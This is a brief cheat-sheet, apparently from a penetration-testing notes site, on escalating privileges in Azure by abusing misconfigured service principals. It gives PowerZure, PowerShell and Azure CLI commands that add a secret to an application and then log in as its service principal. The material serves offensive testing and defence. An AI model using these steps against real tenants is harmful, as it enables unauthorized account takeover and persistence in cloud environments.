Misconfigured Service Principals
Misconfigured Service Principals Privesc
Tools: Powerzure
Steps:
Import-Module Powerzure.ps1 Get-AzureAppOwner Add-AzureSPSecret -ApplicationName APP_NAME -Password PASSWORD
$Credential = Get-Credential
Connect-AzAccount -Credential $Credential -Tenant TENANT_ID -ServicePrincipal (Windows Powershell)OR
az login --service-principal --username APP_ID --password PASSWORD --tenant TENANT_ID (Azure CLI)NOTE: Don't forget to make a note of the APP_ID to authenticate as the service principal!
Add credentials to enterprise applications
1) Check if Secrets can be added
2) Use the Secret to authenticate as Service Principal
3) Check what resources Service Principal can access
Last updated